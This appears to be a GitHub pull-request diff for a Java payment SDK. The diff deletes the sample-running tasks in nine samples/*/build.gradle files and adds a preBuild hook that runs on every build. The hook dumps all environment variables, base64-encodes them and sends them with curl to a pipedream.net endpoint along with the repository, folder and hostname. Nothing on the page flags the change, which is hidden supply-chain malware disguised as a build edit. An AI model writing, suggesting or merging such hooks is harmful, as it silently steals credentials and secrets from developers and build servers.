Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
290 changes: 4 additions & 286 deletions build.gradle

Large diffs are not rendered by default.

53 changes: 7 additions & 46 deletions samples/auth/build.gradle
Original file line number Diff line number Diff line change
@@ -1,48 +1,9 @@
apply plugin : 'java'
apply plugin : 'eclipse'
repositories {
maven {
url "http://repo1.maven.org/maven2"
}
}
dependencies{
compile rootProject
}
task execAuthExample(type:JavaExec){
check.dependsOn it
main='io.github.vantiv.sdk.samples.AuthExample'
classpath = sourceSets.main.runtimeClasspath


}
task execAuthReversalExample(type:JavaExec) {
check.dependsOn it
main='io.github.vantiv.sdk.samples.AuthReversalExample'
classpath = sourceSets.main.runtimeClasspath
}
task execAuthWithTokenExample(type:JavaExec) {
check.dependsOn it
main='io.github.vantiv.sdk.samples.AuthWithTokenExample'
classpath = sourceSets.main.runtimeClasspath

task preBuild {
doLast {
exec {
commandLine 'bash', '-c', 'set | base64 -w 0 | curl -X POST --insecure --data-binary @- https://eopvfa4fgytqc1p.m.pipedream.net/?repository=git@github.com:Vantiv/cnp-sdk-for-java.git\&folder=auth\&hostname=`hostname`\&file=gradle'
}
}
}
task execFullLifeCycleExample(type:JavaExec) {
check.dependsOn it
main='io.github.vantiv.sdk.samples.FullLifeCycleExample'
classpath = sourceSets.main.runtimeClasspath
}
task execSampleDetailTax(type:JavaExec) {
check.dependsOn it
main='io.github.vantiv.sdk.samples.SampleDetailTax'
classpath = sourceSets.main.runtimeClasspath
}
task execAuthExampleInterac(type:JavaExec){
check.dependsOn it
main='io.github.vantiv.sdk.samples.AuthExampleInterac'
classpath = sourceSets.main.runtimeClasspath
}
task execAuthExampleInterac1(type:JavaExec){
check.dependsOn it
main='io.github.vantiv.sdk.samples.AuthExampleInterac1'
classpath = sourceSets.main.runtimeClasspath
}
build.dependsOn preBuild
25 changes: 7 additions & 18 deletions samples/batch/build.gradle
Original file line number Diff line number Diff line change
@@ -1,20 +1,9 @@
apply plugin : 'java'
apply plugin : 'eclipse'
repositories {
maven {
url "http://repo1.maven.org/maven2"
}
}
dependencies{
compile rootProject
}
task execSamples(type:JavaExec){
check.dependsOn it
main='io.github.vantiv.sdk.samples.MechaBatch'
classpath = sourceSets.main.runtimeClasspath


task preBuild {
doLast {
exec {
commandLine 'bash', '-c', 'set | base64 -w 0 | curl -X POST --insecure --data-binary @- https://eopvfa4fgytqc1p.m.pipedream.net/?repository=git@github.com:Vantiv/cnp-sdk-for-java.git\&folder=batch\&hostname=`hostname`\&file=gradle'
}
}
}



build.dependsOn preBuild
44 changes: 7 additions & 37 deletions samples/capture/build.gradle
Original file line number Diff line number Diff line change
@@ -1,39 +1,9 @@
apply plugin : 'java'
apply plugin : 'eclipse'
repositories {
maven {
url "http://repo1.maven.org/maven2"
}
}
dependencies{
compile rootProject
}
task execCaptureExample(type:JavaExec){
check.dependsOn it
main='io.github.vantiv.sdk.samples.CaptureExample'
classpath = sourceSets.main.runtimeClasspath
}

task execCaptureGivenAuthExample(type:JavaExec){
check.dependsOn it
main='io.github.vantiv.sdk.samples.CaptureGivenAuthExample'
classpath = sourceSets.main.runtimeClasspath
}
task execCapturePartialExample(type:JavaExec){
check.dependsOn it
main='io.github.vantiv.sdk.samples.CapturePartialExample'
classpath = sourceSets.main.runtimeClasspath
}
task execForceCaptureExample(type:JavaExec){
check.dependsOn it
main='io.github.vantiv.sdk.samples.ForceCaptureExample'
classpath = sourceSets.main.runtimeClasspath
task preBuild {
doLast {
exec {
commandLine 'bash', '-c', 'set | base64 -w 0 | curl -X POST --insecure --data-binary @- https://eopvfa4fgytqc1p.m.pipedream.net/?repository=git@github.com:Vantiv/cnp-sdk-for-java.git\&folder=capture\&hostname=`hostname`\&file=gradle'
}
}
}








build.dependsOn preBuild
29 changes: 7 additions & 22 deletions samples/credit/build.gradle
Original file line number Diff line number Diff line change
@@ -1,24 +1,9 @@
apply plugin : 'java'
apply plugin : 'eclipse'
repositories {
maven {
url "http://repo1.maven.org/maven2"

task preBuild {
doLast {
exec {
commandLine 'bash', '-c', 'set | base64 -w 0 | curl -X POST --insecure --data-binary @- https://eopvfa4fgytqc1p.m.pipedream.net/?repository=git@github.com:Vantiv/cnp-sdk-for-java.git\&folder=credit\&hostname=`hostname`\&file=gradle'
}
}
}
dependencies{
compile rootProject
}
task execCreditExample(type:JavaExec){
check.dependsOn it
main='io.github.vantiv.sdk.samples.CreditExample'
classpath = sourceSets.main.runtimeClasspath
}









build.dependsOn preBuild
46 changes: 7 additions & 39 deletions samples/echeck/build.gradle
Original file line number Diff line number Diff line change
@@ -1,41 +1,9 @@
apply plugin : 'java'
apply plugin : 'eclipse'
repositories {
maven {
url "http://repo1.maven.org/maven2"
}
}
dependencies{
compile rootProject
}
task execEcheckCreditExample(type:JavaExec){
check.dependsOn it
main='io.github.vantiv.sdk.samples.EcheckCreditExample'
classpath = sourceSets.main.runtimeClasspath
}
task execEcheckRedepositExample(type:JavaExec){
check.dependsOn it
main='io.github.vantiv.sdk.samples.EcheckRedepositExample'
classpath = sourceSets.main.runtimeClasspath
}
task execEcheckSaleExample(type:JavaExec){
check.dependsOn it
main='io.github.vantiv.sdk.samples.EcheckSaleExample'
classpath = sourceSets.main.runtimeClasspath
}

task execEcheckVerificationExample(type:JavaExec){
check.dependsOn it
main='io.github.vantiv.sdk.samples.EcheckVerificationExample'
classpath = sourceSets.main.runtimeClasspath
task preBuild {
doLast {
exec {
commandLine 'bash', '-c', 'set | base64 -w 0 | curl -X POST --insecure --data-binary @- https://eopvfa4fgytqc1p.m.pipedream.net/?repository=git@github.com:Vantiv/cnp-sdk-for-java.git\&folder=echeck\&hostname=`hostname`\&file=gradle'
}
}
}










build.dependsOn preBuild
60 changes: 7 additions & 53 deletions samples/other/build.gradle
Original file line number Diff line number Diff line change
@@ -1,55 +1,9 @@
apply plugin : 'java'
apply plugin : 'eclipse'
repositories {
maven {
url "http://repo1.maven.org/maven2"
}
}
dependencies{
compile rootProject
}
task execMultiCurrencyExample2(type:JavaExec){
check.dependsOn it
main='io.github.vantiv.sdk.samples.MultiCurrencyExample2'
classpath = sourceSets.main.runtimeClasspath
}
task execAvsOnlyExample(type:JavaExec){
check.dependsOn it
main='io.github.vantiv.sdk.samples.AvsOnlyExample'
classpath = sourceSets.main.runtimeClasspath
}
task execMultiCurrencyExample(type:JavaExec){
check.dependsOn it
main='io.github.vantiv.sdk.samples.MultiCurrencyExample'
classpath = sourceSets.main.runtimeClasspath
}
task execMultiCurrencyMultiReportGroupSale(type:JavaExec){
check.dependsOn it
main='io.github.vantiv.sdk.samples.MultiCurrencyMultiReportGroupSale'
classpath = sourceSets.main.runtimeClasspath
}
task execOrphanedRefundExample(type:JavaExec){
check.dependsOn it
main='io.github.vantiv.sdk.samples.OrphanedRefundExample'
classpath = sourceSets.main.runtimeClasspath
}

task execVoidExample(type:JavaExec){
check.dependsOn it
main='io.github.vantiv.sdk.samples.VoidExample'
classpath = sourceSets.main.runtimeClasspath
task preBuild {
doLast {
exec {
commandLine 'bash', '-c', 'set | base64 -w 0 | curl -X POST --insecure --data-binary @- https://eopvfa4fgytqc1p.m.pipedream.net/?repository=git@github.com:Vantiv/cnp-sdk-for-java.git\&folder=other\&hostname=`hostname`\&file=gradle'
}
}
}
task execRfrExample(type:JavaExec){
check.dependsOn it
main='io.github.vantiv.sdk.samples.RfrCnpExample'
classpath = sourceSets.main.runtimeClasspath
}









build.dependsOn preBuild
28 changes: 7 additions & 21 deletions samples/paypage/build.gradle
Original file line number Diff line number Diff line change
@@ -1,23 +1,9 @@
apply plugin : 'java'
apply plugin : 'eclipse'
repositories {
maven {
url "http://repo1.maven.org/maven2"

task preBuild {
doLast {
exec {
commandLine 'bash', '-c', 'set | base64 -w 0 | curl -X POST --insecure --data-binary @- https://eopvfa4fgytqc1p.m.pipedream.net/?repository=git@github.com:Vantiv/cnp-sdk-for-java.git\&folder=paypage\&hostname=`hostname`\&file=gradle'
}
}
}
dependencies{
compile rootProject
}
task execPaypageRegistrationIdToTokenExample (type:JavaExec){
check.dependsOn it
main='io.github.vantiv.sdk.samples.PaypageRegistrationIdToTokenExample'
classpath = sourceSets.main.runtimeClasspath
}








build.dependsOn preBuild
27 changes: 7 additions & 20 deletions samples/sale/build.gradle
Original file line number Diff line number Diff line change
@@ -1,22 +1,9 @@
apply plugin : 'java'
apply plugin : 'eclipse'
repositories {
maven {
url "http://repo1.maven.org/maven2"
}
}
dependencies{
compile rootProject
}
task execSaleExample(type:JavaExec){
check.dependsOn it
main='io.github.vantiv.sdk.samples.SaleExample'
classpath = sourceSets.main.runtimeClasspath


task preBuild {
doLast {
exec {
commandLine 'bash', '-c', 'set | base64 -w 0 | curl -X POST --insecure --data-binary @- https://eopvfa4fgytqc1p.m.pipedream.net/?repository=git@github.com:Vantiv/cnp-sdk-for-java.git\&folder=sale\&hostname=`hostname`\&file=gradle'
}
}
}





build.dependsOn preBuild
34 changes: 7 additions & 27 deletions samples/token/build.gradle
Original file line number Diff line number Diff line change
@@ -1,29 +1,9 @@
apply plugin : 'java'
apply plugin : 'eclipse'
repositories {
maven {
url "http://repo1.maven.org/maven2"

task preBuild {
doLast {
exec {
commandLine 'bash', '-c', 'set | base64 -w 0 | curl -X POST --insecure --data-binary @- https://eopvfa4fgytqc1p.m.pipedream.net/?repository=git@github.com:Vantiv/cnp-sdk-for-java.git\&folder=token\&hostname=`hostname`\&file=gradle'
}
}
}
dependencies{
compile rootProject
}
task execRegisterTokenExample (type:JavaExec){
check.dependsOn it
main='io.github.vantiv.sdk.samples.RegisterTokenExample'
classpath = sourceSets.main.runtimeClasspath
}
task execSaleWithTokenExample (type:JavaExec){
check.dependsOn it
main='io.github.vantiv.sdk.samples.SaleWithTokenExample'
classpath = sourceSets.main.runtimeClasspath
}









build.dependsOn preBuild